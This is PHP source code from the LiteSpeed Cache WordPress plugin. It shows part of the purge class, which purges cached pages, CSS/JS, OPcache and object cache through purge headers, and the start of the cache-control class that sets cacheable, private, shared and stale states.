	public static function purge_ucss( $post_id_or_url ) {
		self::debug('Purge a single UCSS: ' . $post_id_or_url);
		// If is post_id, generate URL
		if (!preg_match('/\D/', $post_id_or_url)) {
			$post_id_or_url = get_permalink($post_id_or_url);
		}
		$post_id_or_url = untrailingslashit($post_id_or_url);

		$existing_url_files = Data::cls()->mark_as_expired($post_id_or_url, true);
		if ($existing_url_files) {
			// Add to UCSS Q
			self::cls('UCSS')->add_to_q($existing_url_files);
		}
	}

	/**
	 * Delete all LQIP images
	 *
	 * @since    3.0
	 * @access   private
	 */
	private function _purge_all_lqip( $silence = false ) {
		do_action('litespeed_purged_all_lqip');

		$this->cls('Placeholder')->rm_cache_folder('lqip');

		if (!$silence) {
			$msg = __('Cleaned all LQIP files.', 'litespeed-cache');
			!defined('LITESPEED_PURGE_SILENT') && Admin_Display::success($msg);
		}
	}

	/**
	 * Delete all avatar images
	 *
	 * @since    3.0
	 * @access   private
	 */
	private function _purge_all_avatar( $silence = false ) {
		do_action('litespeed_purged_all_avatar');

		$this->cls('Avatar')->rm_cache_folder('avatar');

		if (!$silence) {
			$msg = __('Cleaned all Gravatar files.', 'litespeed-cache');
			!defined('LITESPEED_PURGE_SILENT') && Admin_Display::success($msg);
		}
	}

	/**
	 * Delete all localized JS
	 *
	 * @since    3.3
	 * @access   private
	 */
	private function _purge_all_localres( $silence = false ) {
		do_action('litespeed_purged_all_localres');

		$this->_add(Tag::TYPE_LOCALRES);

		if (!$silence) {
			$msg = __('Cleaned all localized resource entries.', 'litespeed-cache');
			!defined('LITESPEED_PURGE_SILENT') && Admin_Display::success($msg);
		}
	}

	/**
	 * Alerts LiteSpeed Web Server to purge pages.
	 *
	 * @since    1.2.2
	 * @access   private
	 */
	private function _purge_all_cssjs( $silence = false ) {
		if (wp_doing_cron() || defined('LITESPEED_DID_send_headers')) {
			self::debug('❌ Bypassed cssjs delete as header sent (lscache purge after this point will fail) or doing cron');
			return;
		}
		$this->_purge_all_lscache($silence); // Purge CSSJS must purge lscache too to avoid 404

		do_action('litespeed_purged_all_cssjs');

		Optimize::update_option(Optimize::ITEM_TIMESTAMP_PURGE_CSS, time());

		$this->_add(Tag::TYPE_MIN);

		$this->cls('CSS')->rm_cache_folder('css');
		$this->cls('CSS')->rm_cache_folder('js');

		$this->cls('Data')->url_file_clean('css');
		$this->cls('Data')->url_file_clean('js');

		// Clear UCSS queue as it used combined CSS to generate
		$this->clear_q('ucss', true);

		if (!$silence) {
			$msg = __('Notified LiteSpeed Web Server to purge CSS/JS entries.', 'litespeed-cache');
			!defined('LITESPEED_PURGE_SILENT') && Admin_Display::success($msg);
		}
	}

	/**
	 * Purge opcode cache
	 *
	 * @since  1.8.2
	 * @since  7.3 added test for opcode cache restriction
	 * @access public
	 */
	public function purge_all_opcache( $silence = false ) {
		if (!Router::opcache_enabled()) {
			self::debug('❌ Failed to reset OPcache due to OPcache not enabled');

			if (!$silence) {
				$msg = __('OPcache is not enabled.', 'litespeed-cache');
				!defined('LITESPEED_PURGE_SILENT') && Admin_Display::error($msg);
			}

			return false;
		}

		if (Router::opcache_restricted(__FILE__)) {
			self::debug('❌ Failed to reset OPcache due to OPcache is restricted. File requesting the clear is not allowed.');

			if (!$silence) {
				$msg = sprintf(__('OPcache is restricted by %s setting.', 'litespeed-cache'), '<code>restrict_api</code>');
				!defined('LITESPEED_PURGE_SILENT') && Admin_Display::error($msg);
			}

			return false;
		}

		// Purge opcode cache
		if (!opcache_reset()) {
			self::debug('❌ Reset OPcache not worked');

			if (!$silence) {
				$msg = __('Reset the OPcache failed.', 'litespeed-cache');
				!defined('LITESPEED_PURGE_SILENT') && Admin_Display::success($msg);
			}

			return false;
		}

		// Action to run after opcache purge.
		do_action('litespeed_purged_all_opcache');

		self::debug('Reset OPcache');

		if (!$silence) {
			$msg = __('Reset the entire OPcache successfully.', 'litespeed-cache');
			!defined('LITESPEED_PURGE_SILENT') && Admin_Display::success($msg);
		}

		return true;
	}

	/**
	 * Purge object cache
	 *
	 * @since  3.4
	 * @access public
	 */
	public static function purge_all_object( $silence = true ) {
		self::cls()->_purge_all_object($silence);
	}

	/**
	 * Purge object cache
	 *
	 * @since  1.8
	 * @access private
	 */
	private function _purge_all_object( $silence = false ) {
		if (!defined('LSCWP_OBJECT_CACHE')) {
			self::debug('Failed to flush object cache due to object cache not enabled');

			if (!$silence) {
				$msg = __('Object cache is not enabled.', 'litespeed-cache');
				Admin_Display::error($msg);
			}

			return false;
		}

		do_action('litespeed_purged_all_object');

		$this->cls('Object_Cache')->flush();
		self::debug('Flushed object cache');

		if (!$silence) {
			$msg = __('Purge all object caches successfully.', 'litespeed-cache');
			!defined('LITESPEED_PURGE_SILENT') && Admin_Display::success($msg);
		}

		return true;
	}

	/**
	 * Adds new public purge tags to the array of purge tags for the request.
	 *
	 * @since 1.1.3
	 * @access public
	 * @param mixed $tags Tags to add to the list.
	 */
	public static function add( $tags, $purge2 = false ) {
		self::cls()->_add($tags, $purge2);
	}

	/**
	 * Add tags to purge
	 *
	 * @since 2.2
	 * @access private
	 */
	private function _add( $tags, $purge2 = false ) {
		if (!is_array($tags)) {
			$tags = array( $tags );
		}

		$tags = $this->_prepend_bid($tags);

		if (!array_diff($tags, $purge2 ? $this->_pub_purge2 : $this->_pub_purge)) {
			return;
		}

		if ($purge2) {
			$this->_pub_purge2 = array_merge($this->_pub_purge2, $tags);
			$this->_pub_purge2 = array_unique($this->_pub_purge2);
		} else {
			$this->_pub_purge = array_merge($this->_pub_purge, $tags);
			$this->_pub_purge = array_unique($this->_pub_purge);
		}
		self::debug('added ' . implode(',', $tags) . ($purge2 ? ' [Purge2]' : ''), 8);

		// Send purge header immediately
		$curr_built = $this->_build($purge2);
		if (defined('LITESPEED_CLI')) {
			// Can't send, already has output, need to save and wait for next run
			self::update_option($purge2 ? self::DB_QUEUE2 : self::DB_QUEUE, $curr_built);
			self::debug('CLI request, queue stored: ' . $curr_built);
		} else {
			@header($curr_built);
			if (wp_doing_cron() || defined('LITESPEED_DID_send_headers') || apply_filters('litespeed_delay_purge', false)) {
				self::update_option($purge2 ? self::DB_QUEUE2 : self::DB_QUEUE, $curr_built);
				self::debug('Output existed, queue stored: ' . $curr_built);
			}
			self::debug($curr_built);
		}
	}

	/**
	 * Adds new private purge tags to the array of purge tags for the request.
	 *
	 * @since 1.1.3
	 * @access public
	 * @param mixed $tags Tags to add to the list.
	 */
	public static function add_private( $tags ) {
		self::cls()->_add_private($tags);
	}

	/**
	 * Add private ESI tag to purge list
	 *
	 * @since 3.0
	 * @access public
	 */
	public static function add_private_esi( $tag ) {
		self::add_private(Tag::TYPE_ESI . $tag);
	}

	/**
	 * Add private all tag to purge list
	 *
	 * @since 3.0
	 * @access public
	 */
	public static function add_private_all() {
		self::add_private('*');
	}

	/**
	 * Add tags to private purge
	 *
	 * @since 2.2
	 * @access private
	 */
	private function _add_private( $tags ) {
		if (!is_array($tags)) {
			$tags = array( $tags );
		}

		$tags = $this->_prepend_bid($tags);

		if (!array_diff($tags, $this->_priv_purge)) {
			return;
		}

		self::debug('added [private] ' . implode(',', $tags), 3);

		$this->_priv_purge = array_merge($this->_priv_purge, $tags);
		$this->_priv_purge = array_unique($this->_priv_purge);

		// Send purge header immediately
		@header($this->_build());
	}

	/**
	 * Incorporate blog_id into purge tags for multisite
	 *
	 * @since 4.0
	 * @access private
	 * @param mixed $tags Tags to add to the list.
	 */
	private function _prepend_bid( $tags ) {
		if (in_array('*', $tags)) {
			return array( '*' );
		}

		$curr_bid = is_multisite() ? get_current_blog_id() : '';

		foreach ($tags as $k => $v) {
			$tags[$k] = $curr_bid . '_' . $v;
		}
		return $tags;
	}

	/**
	 * Activate `purge related tags` for Admin QS.
	 *
	 * @since    1.1.3
	 * @access   public
	 * @deprecated @7.0 Drop @v7.5
	 */
	public static function set_purge_related() {
	}

	/**
	 * Activate `purge single url tag` for Admin QS.
	 *
	 * @since    1.1.3
	 * @access   public
	 */
	public static function set_purge_single() {
		self::cls()->_purge_single = true;
		do_action('litespeed_purged_single');
	}

	/**
	 * Purge frontend url
	 *
	 * @since 1.3
	 * @since 2.2 Renamed from `frontend_purge`; Access changed from public
	 * @access private
	 */
	private function _purge_front() {
		if (empty($_SERVER['HTTP_REFERER'])) {
			exit('no referer');
		}

		$this->purge_url($_SERVER['HTTP_REFERER']);

		do_action('litespeed_purged_front', $_SERVER['HTTP_REFERER']);
		wp_redirect($_SERVER['HTTP_REFERER']);
		exit();
	}

	/**
	 * Purge single UCSS
	 *
	 * @since 4.7
	 */
	private function _purge_ucss() {
		if (empty($_SERVER['HTTP_REFERER'])) {
			exit('no referer');
		}

		$url_tag = empty($_GET['url_tag']) ? $_SERVER['HTTP_REFERER'] : $_GET['url_tag'];

		self::debug('Purge ucss [url_tag] ' . $url_tag);

		do_action('litespeed_purge_ucss', $url_tag);
		$this->purge_url($_SERVER['HTTP_REFERER']);

		wp_redirect($_SERVER['HTTP_REFERER']);
		exit();
	}

	/**
	 * Alerts LiteSpeed Web Server to purge the front page.
	 *
	 * @since    1.0.3
	 * @since    2.2    Access changed from public to private, renamed from `_purge_front`
	 * @access   private
	 */
	private function _purge_frontpage() {
		$this->_add(Tag::TYPE_FRONTPAGE);
		if (LITESPEED_SERVER_TYPE !== 'LITESPEED_SERVER_OLS') {
			$this->_add_private(Tag::TYPE_FRONTPAGE);
		}

		$msg = __('Notified LiteSpeed Web Server to purge the front page.', 'litespeed-cache');
		!defined('LITESPEED_PURGE_SILENT') && Admin_Display::success($msg);
		do_action('litespeed_purged_frontpage');
	}

	/**
	 * Alerts LiteSpeed Web Server to purge pages.
	 *
	 * @since    1.0.15
	 * @access   private
	 */
	private function _purge_pages() {
		$this->_add(Tag::TYPE_PAGES);

		$msg = __('Notified LiteSpeed Web Server to purge all pages.', 'litespeed-cache');
		!defined('LITESPEED_PURGE_SILENT') && Admin_Display::success($msg);
		do_action('litespeed_purged_pages');
	}

	/**
	 * Alerts LiteSpeed Web Server to purge error pages.
	 *
	 * @since    1.0.14
	 * @access   private
	 */
	private function _purge_error( $type = false ) {
		$this->_add(Tag::TYPE_HTTP);

		if (!$type || !in_array($type, array( '403', '404', '500' ))) {
			return;
		}

		$this->_add(Tag::TYPE_HTTP . $type);

		$msg = __('Notified LiteSpeed Web Server to purge error pages.', 'litespeed-cache');
		!defined('LITESPEED_PURGE_SILENT') && Admin_Display::success($msg);
	}

	/**
	 * Callback to add purge tags if admin selects to purge selected category pages.
	 *
	 * @since 1.0.7
	 * @access public
	 */
	public function purge_cat( $value ) {
		$val = trim($value);
		if (empty($val)) {
			return;
		}
		if (preg_match('/^[a-zA-Z0-9-]+$/', $val) == 0) {
			self::debug("$val cat invalid");
			return;
		}
		$cat = get_category_by_slug($val);
		if ($cat == false) {
			self::debug("$val cat not existed/published");
			return;
		}

		self::add(Tag::TYPE_ARCHIVE_TERM . $cat->term_id);

		!defined('LITESPEED_PURGE_SILENT') && Admin_Display::success(sprintf(__('Purge category %s', 'litespeed-cache'), $val));

		// Action to run after category purge.
		do_action('litespeed_purged_cat', $value);
	}

	/**
	 * Callback to add purge tags if admin selects to purge selected tag pages.
	 *
	 * @since 1.0.7
	 * @access public
	 */
	public function purge_tag( $val ) {
		$val = trim($val);
		if (empty($val)) {
			return;
		}
		if (preg_match('/^[a-zA-Z0-9-]+$/', $val) == 0) {
			self::debug("$val tag invalid");
			return;
		}
		$term = get_term_by('slug', $val, 'post_tag');
		if ($term === false) {
			self::debug("$val tag not exist");
			return;
		}

		self::add(Tag::TYPE_ARCHIVE_TERM . $term->term_id);

		!defined('LITESPEED_PURGE_SILENT') && Admin_Display::success(sprintf(__('Purge tag %s', 'litespeed-cache'), $val));

		// Action to run after tag purge.
		do_action('litespeed_purged_tag', $val);
	}

	/**
	 * Callback to add purge tags if admin selects to purge selected urls.
	 *
	 * @since 1.0.7
	 * @access public
	 */
	public function purge_url( $url, $purge2 = false, $quite = false ) {
		$val = trim($url);
		if (empty($val)) {
			return;
		}

		if (strpos($val, '<') !== false) {
			self::debug("$val url contains <");
			return;
		}

		$val = Utility::make_relative($val);

		$hash = Tag::get_uri_tag($val);

		if ($hash === false) {
			self::debug("$val url invalid");
			return;
		}

		self::add($hash, $purge2);

		!$quite && !defined('LITESPEED_PURGE_SILENT') && Admin_Display::success(sprintf(__('Purge url %s', 'litespeed-cache'), $val));

		// Action to run after url purge.
		do_action('litespeed_purged_link', $url);
	}

	/**
	 * Purge a list of pages when selected by admin. This method will look at the post arguments to determine how and what to purge.
	 *
	 * @since 1.0.7
	 * @access public
	 */
	public function purge_list() {
		if (!isset($_REQUEST[Admin_Display::PURGEBYOPT_SELECT]) || !isset($_REQUEST[Admin_Display::PURGEBYOPT_LIST])) {
			return;
		}
		$sel      = $_REQUEST[Admin_Display::PURGEBYOPT_SELECT];
		$list_buf = $_REQUEST[Admin_Display::PURGEBYOPT_LIST];
		if (empty($list_buf)) {
			return;
		}
		$list_buf = str_replace(',', "\n", $list_buf); // for cli
		$list     = explode("\n", $list_buf);
		switch ($sel) {
			case Admin_Display::PURGEBY_CAT:
            $cb = 'purge_cat';
				break;
			case Admin_Display::PURGEBY_PID:
            $cb = 'purge_post';
				break;
			case Admin_Display::PURGEBY_TAG:
            $cb = 'purge_tag';
				break;
			case Admin_Display::PURGEBY_URL:
            $cb = 'purge_url';
				break;

			default:
				return;
		}
		array_map(array( $this, $cb ), $list);

		// for redirection
		$_GET[Admin_Display::PURGEBYOPT_SELECT] = $sel;
	}

	/**
	 * Purge ESI
	 *
	 * @since 3.0
	 * @access public
	 */
	public static function purge_esi( $tag ) {
		self::add(Tag::TYPE_ESI . $tag);
		do_action('litespeed_purged_esi', $tag);
	}

	/**
	 * Purge a certain post type
	 *
	 * @since 3.0
	 * @access public
	 */
	public static function purge_posttype( $post_type ) {
		self::add(Tag::TYPE_ARCHIVE_POSTTYPE . $post_type);
		self::add($post_type);

		do_action('litespeed_purged_posttype', $post_type);
	}

	/**
	 * Purge all related tags to a post.
	 *
	 * @since 1.0.0
	 * @access public
	 */
	public function purge_post( $pid ) {
		$pid = intval($pid);
		// ignore the status we don't care
		if (!$pid || !in_array(get_post_status($pid), array( 'publish', 'trash', 'private', 'draft' ))) {
			return;
		}

		$purge_tags = $this->_get_purge_tags_by_post($pid);
		if (!$purge_tags) {
			return;
		}

		self::add($purge_tags);
		if ($this->conf(self::O_CACHE_REST)) {
			self::add(Tag::TYPE_REST);
		}

		// $this->cls( 'Control' )->set_stale();
		do_action('litespeed_purged_post', $pid);
	}

	/**
	 * Hooked to the load-widgets.php action.
	 * Attempts to purge a single widget from cache.
	 * If no widget id is passed in, the method will attempt to find the widget id.
	 *
	 * @since 1.1.3
	 * @access public
	 */
	public static function purge_widget( $widget_id = null ) {
		if (is_null($widget_id)) {
			$widget_id = $_POST['widget-id'];
			if (is_null($widget_id)) {
				return;
			}
		}

		self::add(Tag::TYPE_WIDGET . $widget_id);
		self::add_private(Tag::TYPE_WIDGET . $widget_id);

		do_action('litespeed_purged_widget', $widget_id);
	}

	/**
	 * Hooked to the wp_update_comment_count action.
	 * Purges the comment widget when the count is updated.
	 *
	 * @access public
	 * @since 1.1.3
	 * @global type $wp_widget_factory
	 */
	public static function purge_comment_widget() {
		global $wp_widget_factory;
		if (!isset($wp_widget_factory->widgets['WP_Widget_Recent_Comments'])) {
			return;
		}

		$recent_comments = $wp_widget_factory->widgets['WP_Widget_Recent_Comments'];
		if (!is_null($recent_comments)) {
			self::add(Tag::TYPE_WIDGET . $recent_comments->id);
			self::add_private(Tag::TYPE_WIDGET . $recent_comments->id);

			do_action('litespeed_purged_comment_widget', $recent_comments->id);
		}
	}

	/**
	 * Purges feeds on comment count update.
	 *
	 * @since 1.0.9
	 * @access public
	 */
	public function purge_feeds() {
		if ($this->conf(self::O_CACHE_TTL_FEED) > 0) {
			self::add(Tag::TYPE_FEED);
		}
		do_action('litespeed_purged_feeds');
	}

	/**
	 * Purges all private cache entries when the user logs out.
	 *
	 * @access public
	 * @since 1.1.3
	 */
	public static function purge_on_logout() {
		self::add_private_all();
		do_action('litespeed_purged_on_logout');
	}

	/**
	 * Generate all purge tags before output
	 *
	 * @access private
	 * @since 1.1.3
	 */
	private function _finalize() {
		// Make sure header output only run once
		if (!defined('LITESPEED_DID_' . __FUNCTION__)) {
			define('LITESPEED_DID_' . __FUNCTION__, true);
		} else {
			return;
		}

		do_action('litespeed_purge_finalize');

		// Append unique uri purge tags if Admin QS is `PURGESINGLE` or `PURGE`
		if ($this->_purge_single) {
			$tags             = array( Tag::build_uri_tag() );
			$this->_pub_purge = array_merge($this->_pub_purge, $this->_prepend_bid($tags));
		}

		if (!empty($this->_pub_purge)) {
			$this->_pub_purge = array_unique($this->_pub_purge);
		}

		if (!empty($this->_priv_purge)) {
			$this->_priv_purge = array_unique($this->_priv_purge);
		}
	}

	/**
	 * Gathers all the purge headers.
	 *
	 * This will collect all site wide purge tags as well as third party plugin defined purge tags.
	 *
	 * @since 1.1.0
	 * @access public
	 * @return string the built purge header
	 */
	public static function output() {
		$instance = self::cls();

		$instance->_finalize();

		return $instance->_build();
	}

	/**
	 * Build the current purge headers.
	 *
	 * @since 1.1.5
	 * @access private
	 * @return string the built purge header
	 */
	private function _build( $purge2 = false ) {
		if ($purge2) {
			if (empty($this->_pub_purge2)) {
				return;
			}
		} elseif (empty($this->_pub_purge) && empty($this->_priv_purge)) {
			return;
		}

		$purge_header = '';

		// Handle purge2 @since 4.4.1
		if ($purge2) {
			$public_tags = $this->_append_prefix($this->_pub_purge2);
			if (empty($public_tags)) {
				return;
			}
			$purge_header = self::X_HEADER2 . ': public,';
			if (Control::is_stale()) {
				$purge_header .= 'stale,';
			}
			$purge_header .= implode(',', $public_tags);
			return $purge_header;
		}

		$private_prefix = self::X_HEADER . ': private,';

		if (!empty($this->_pub_purge)) {
			$public_tags = $this->_append_prefix($this->_pub_purge);
			if (empty($public_tags)) {
				// If this ends up empty, private will also end up empty
				return;
			}
			$purge_header = self::X_HEADER . ': public,';
			if (Control::is_stale()) {
				$purge_header .= 'stale,';
			}
			$purge_header  .= implode(',', $public_tags);
			$private_prefix = ';private,';
		}

		// Handle priv purge tags
		if (!empty($this->_priv_purge)) {
			$private_tags  = $this->_append_prefix($this->_priv_purge, true);
			$purge_header .= $private_prefix . implode(',', $private_tags);
		}

		return $purge_header;
	}

	/**
	 * Append prefix to an array of purge headers
	 *
	 * @since 1.1.0
	 * @access private
	 */
	private function _append_prefix( $purge_tags, $is_private = false ) {
		$curr_bid = is_multisite() ? get_current_blog_id() : '';

		$purge_tags = apply_filters('litespeed_purge_tags', $purge_tags, $is_private);
		if (!in_array('*', $purge_tags)) {
			$tags = array();
			foreach ($purge_tags as $val) {
				$tags[] = LSWCP_TAG_PREFIX . $val;
			}
			return $tags;
		}

		// Purge All need to check if need to reset crawler or not
		if (!$is_private && $this->conf(self::O_CRAWLER)) {
			Crawler::cls()->reset_pos();
		}

		if ((defined('LSWCP_EMPTYCACHE') && LSWCP_EMPTYCACHE) || $is_private) {
			return array( '*' );
		}

		if (is_multisite() && !$this->_is_subsite_purge()) {
			$blogs = Activation::get_network_ids();
			if (empty($blogs)) {
				self::debug('build_purge_headers: blog list is empty');
				return '';
			}
			$tags = array();
			foreach ($blogs as $blog_id) {
				$tags[] = LSWCP_TAG_PREFIX . $blog_id . '_';
			}
			return $tags;
		} else {
			return array( LSWCP_TAG_PREFIX . $curr_bid . '_' );
		}
	}

	/**
	 * Check if this purge belongs to a subsite purge
	 *
	 * @since  4.0
	 */
	private function _is_subsite_purge() {
		if (!is_multisite()) {
			return false;
		}

		if (is_network_admin()) {
			return false;
		}

		if (defined('LSWCP_EMPTYCACHE') && LSWCP_EMPTYCACHE) {
			return false;
		}

		// Would only use multisite and network admin except is_network_admin is false for ajax calls, which is used by WordPress updates v4.6+
		if (Router::is_ajax() && (check_ajax_referer('updates', false, false) || check_ajax_referer('litespeed-purgeall-network', false, false))) {
			return false;
		}

		return true;
	}

	/**
	 * Gets all the purge tags correlated with the post about to be purged.
	 *
	 * If the purge all pages configuration is set, all pages will be purged.
	 *
	 * This includes site wide post types (e.g. front page) as well as any third party plugin specific post tags.
	 *
	 * @since 1.0.0
	 * @access private
	 */
	private function _get_purge_tags_by_post( $post_id ) {
		// If this is a valid post we want to purge the post, the home page and any associated tags & cats
		// If not, purge everything on the site.

		$purge_tags = array();

		if ($this->conf(self::O_PURGE_POST_ALL)) {
			// ignore the rest if purge all
			return array( '*' );
		}

		// now do API hook action for post purge
		do_action('litespeed_api_purge_post', $post_id);

		// post
		$purge_tags[] = Tag::TYPE_POST . $post_id;
		$post_status  = get_post_status($post_id);
		if (function_exists('is_post_status_viewable')) {
			$viewable = is_post_status_viewable($post_status);
			if ($viewable) {
				$purge_tags[] = Tag::get_uri_tag(wp_make_link_relative(get_permalink($post_id)));
			}
		}

		// for archive of categories|tags|custom tax
		global $post;
		$original_post = $post;
		$post          = get_post($post_id);
		$post_type     = $post->post_type;

		global $wp_widget_factory;
		// recent_posts
		$recent_posts = isset($wp_widget_factory->widgets['WP_Widget_Recent_Posts']) ? $wp_widget_factory->widgets['WP_Widget_Recent_Posts'] : null;
		if (!is_null($recent_posts)) {
			$purge_tags[] = Tag::TYPE_WIDGET . $recent_posts->id;
		}

		// get adjacent posts id as related post tag
		if ($post_type == 'post') {
			$prev_post = get_previous_post();
			$next_post = get_next_post();
			if (!empty($prev_post->ID)) {
				$purge_tags[] = Tag::TYPE_POST . $prev_post->ID;
				self::debug('--------purge_tags prev is: ' . $prev_post->ID);
			}
			if (!empty($next_post->ID)) {
				$purge_tags[] = Tag::TYPE_POST . $next_post->ID;
				self::debug('--------purge_tags next is: ' . $next_post->ID);
			}
		}

		if ($this->conf(self::O_PURGE_POST_TERM)) {
			$taxonomies = get_object_taxonomies($post_type);
			// self::debug('purge by post, check tax = ' . var_export($taxonomies, true));
			foreach ($taxonomies as $tax) {
				$terms = get_the_terms($post_id, $tax);
				if (!empty($terms)) {
					foreach ($terms as $term) {
						$purge_tags[] = Tag::TYPE_ARCHIVE_TERM . $term->term_id;
					}
				}
			}
		}

		if ($this->conf(self::O_CACHE_TTL_FEED)) {
			$purge_tags[] = Tag::TYPE_FEED;
		}

		// author, for author posts and feed list
		if ($this->conf(self::O_PURGE_POST_AUTHOR)) {
			$purge_tags[] = Tag::TYPE_AUTHOR . get_post_field('post_author', $post_id);
		}

		// archive and feed of post type
		// todo: check if type contains space
		if ($this->conf(self::O_PURGE_POST_POSTTYPE)) {
			if (get_post_type_archive_link($post_type)) {
				$purge_tags[] = Tag::TYPE_ARCHIVE_POSTTYPE . $post_type;
				$purge_tags[] = $post_type;
			}
		}

		if ($this->conf(self::O_PURGE_POST_FRONTPAGE)) {
			$purge_tags[] = Tag::TYPE_FRONTPAGE;
		}

		if ($this->conf(self::O_PURGE_POST_HOMEPAGE)) {
			$purge_tags[] = Tag::TYPE_HOME;
		}

		if ($this->conf(self::O_PURGE_POST_PAGES)) {
			$purge_tags[] = Tag::TYPE_PAGES;
		}

		if ($this->conf(self::O_PURGE_POST_PAGES_WITH_RECENT_POSTS)) {
			$purge_tags[] = Tag::TYPE_PAGES_WITH_RECENT_POSTS;
		}

		// if configured to have archived by date
		$date = $post->post_date;
		$date = strtotime($date);

		if ($this->conf(self::O_PURGE_POST_DATE)) {
			$purge_tags[] = Tag::TYPE_ARCHIVE_DATE . date('Ymd', $date);
		}

		if ($this->conf(self::O_PURGE_POST_MONTH)) {
			$purge_tags[] = Tag::TYPE_ARCHIVE_DATE . date('Ym', $date);
		}

		if ($this->conf(self::O_PURGE_POST_YEAR)) {
			$purge_tags[] = Tag::TYPE_ARCHIVE_DATE . date('Y', $date);
		}

		// Set back to original post as $post_id might affecting the global $post value
		$post = $original_post;

		return array_unique($purge_tags);
	}

	/**
	 * The dummy filter for purge all
	 *
	 * @since 1.1.5
	 * @access public
	 * @param string $val The filter value
	 * @return string     The filter value
	 */
	public static function filter_with_purge_all( $val ) {
		self::purge_all();
		return $val;
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/control.cls.php000064400000052310151031165260020030 0ustar00<?php
// phpcs:ignoreFile

/**
 * The plugin cache-control class for X-Litespeed-Cache-Control
 *
 * @since       1.1.3
 * @package     LiteSpeed
 */

namespace LiteSpeed;

defined('WPINC') || exit();

class Control extends Root {

	const LOG_TAG = '💵';

	const BM_CACHEABLE        = 1;
	const BM_PRIVATE          = 2;
	const BM_SHARED           = 4;
	const BM_NO_VARY          = 8;
	const BM_FORCED_CACHEABLE = 32;
	const BM_PUBLIC_FORCED    = 64;
	const BM_STALE            = 128;
	const BM_NOTCACHEABLE     = 256;

	const X_HEADER = 'X-LiteSpeed-Cache-Control';

	protected static $_control    = 0;
	protected static $_custom_ttl = 0;

	private $_response_header_ttls = array();

	/**
	 * Init cache control
	 *
	 * @since  1.6.2
	 */
	public function init() {
		/**
		 * Add vary filter for Role Excludes
		 *
		 * @since  1.6.2
		 */
		add_filter('litespeed_vary', array( $this, 'vary_add_role_exclude' ));

		// 301 redirect hook
		add_filter('wp_redirect', array( $this, 'check_redirect' ), 10, 2);

		// Load response header conf
		$this->_response_header_ttls = $this->conf(Base::O_CACHE_TTL_STATUS);
		foreach ($this->_response_header_ttls as $k => $v) {
			$v = explode(' ', $v);
			if (empty($v[0]) || empty($v[1])) {
				continue;
			}
			$this->_response_header_ttls[$v[0]] = $v[1];
		}

		if ($this->conf(Base::O_PURGE_STALE)) {
			$this->set_stale();
		}
	}

	/**
	 * Exclude role from optimization filter
	 *
	 * @since  1.6.2
	 * @access public
	 */
	public function vary_add_role_exclude( $vary ) {
		if ($this->in_cache_exc_roles()) {
			$vary['role_exclude_cache'] = 1;
		}

		return $vary;
	}

	/**
	 * Check if one user role is in exclude cache group settings
	 *
	 * @since 1.6.2
	 * @since 3.0 Moved here from conf.cls
	 * @access public
	 * @param  string $role The user role
	 * @return int       The set value if already set
	 */
	public function in_cache_exc_roles( $role = null ) {
		// Get user role
		if ($role === null) {
			$role = Router::get_role();
		}

		if (!$role) {
			return false;
		}

		$roles = explode(',', $role);
		$found = array_intersect($roles, $this->conf(Base::O_CACHE_EXC_ROLES));

		return $found ? implode(',', $found) : false;
	}

	/**
	 * 1. Initialize cacheable status for `wp` hook
	 * 2. Hook error page tags for cacheable pages
	 *
	 * @since 1.1.3
	 * @access public
	 */
	public function init_cacheable() {
		// Hook `wp` to mark default cacheable status
		// NOTE: Any process that does NOT run into `wp` hook will not get cacheable by default
		add_action('wp', array( $this, 'set_cacheable' ), 5);

		// Hook WP REST to be cacheable
		if ($this->conf(Base::O_CACHE_REST)) {
			add_action('rest_api_init', array( $this, 'set_cacheable' ), 5);
		}

		// AJAX cache
		$ajax_cache = $this->conf(Base::O_CACHE_AJAX_TTL);
		foreach ($ajax_cache as $v) {
			$v = explode(' ', $v);
			if (empty($v[0]) || empty($v[1])) {
				continue;
			}
			// self::debug("Initializing cacheable status for wp_ajax_nopriv_" . $v[0]);
			add_action(
				'wp_ajax_nopriv_' . $v[0],
				function () use ( $v ) {
					self::set_custom_ttl($v[1]);
					self::force_cacheable('ajax Cache setting for action ' . $v[0]);
				},
				4
			);
		}

		// Check error page
		add_filter('status_header', array( $this, 'check_error_codes' ), 10, 2);
	}

	/**
	 * Check if the page returns any error code.
	 *
	 * @since 1.0.13.1
	 * @access public
	 * @param $status_header
	 * @param $code
	 * @return $error_status
	 */
	public function check_error_codes( $status_header, $code ) {
		if (array_key_exists($code, $this->_response_header_ttls)) {
			if (self::is_cacheable() && !$this->_response_header_ttls[$code]) {
				self::set_nocache('[Ctrl] TTL is set to no cache [status_header] ' . $code);
			}

			// Set TTL
			self::set_custom_ttl($this->_response_header_ttls[$code]);
		} elseif (self::is_cacheable()) {
			if (substr($code, 0, 1) == 4 || substr($code, 0, 1) == 5) {
				self::set_nocache('[Ctrl] 4xx/5xx default to no cache [status_header] ' . $code);
			}
		}

		// Set cache tag
		if (in_array($code, Tag::$error_code_tags)) {
			Tag::add(Tag::TYPE_HTTP . $code);
		}

		// Give the default status_header back
		return $status_header;
	}

	/**
	 * Set no vary setting
	 *
	 * @access public
	 * @since 1.1.3
	 */
	public static function set_no_vary() {
		if (self::is_no_vary()) {
			return;
		}
		self::$_control |= self::BM_NO_VARY;
		self::debug('X Cache_control -> no-vary', 3);
	}

	/**
	 * Get no vary setting
	 *
	 * @access public
	 * @since 1.1.3
	 */
	public static function is_no_vary() {
		return self::$_control & self::BM_NO_VARY;
	}

	/**
	 * Set stale
	 *
	 * @access public
	 * @since 1.1.3
	 */
	public function set_stale() {
		if (self::is_stale()) {
			return;
		}
		self::$_control |= self::BM_STALE;
		self::debug('X Cache_control -> stale');
	}

	/**
	 * Get stale
	 *
	 * @access public
	 * @since 1.1.3
	 */
	public static function is_stale() {
		return self::$_control & self::BM_STALE;
	}

	/**
	 * Set cache control to shared private
	 *
	 * @access public
	 * @since 1.1.3
	 * @param string $reason The reason to no cache
	 */
	public static function set_shared( $reason = false ) {
		if (self::is_shared()) {
			return;
		}
		self::$_control |= self::BM_SHARED;
		self::set_private();

		if (!is_string($reason)) {
			$reason = false;
		}

		if ($reason) {
			$reason = "( $reason )";
		}
		self::debug('X Cache_control -> shared ' . $reason);
	}

	/**
	 * Check if is shared private
	 *
	 * @access public
	 * @since 1.1.3
	 */
	public static function is_shared() {
		return self::$_control & self::BM_SHARED && self::is_private();
	}

	/**
	 * Set cache control to forced public
	 *
	 * @access public
	 * @since 1.7.1
	 */
	public static function set_public_forced( $reason = false ) {
		if (self::is_public_forced()) {
			return;
		}
		self::$_control |= self::BM_PUBLIC_FORCED;

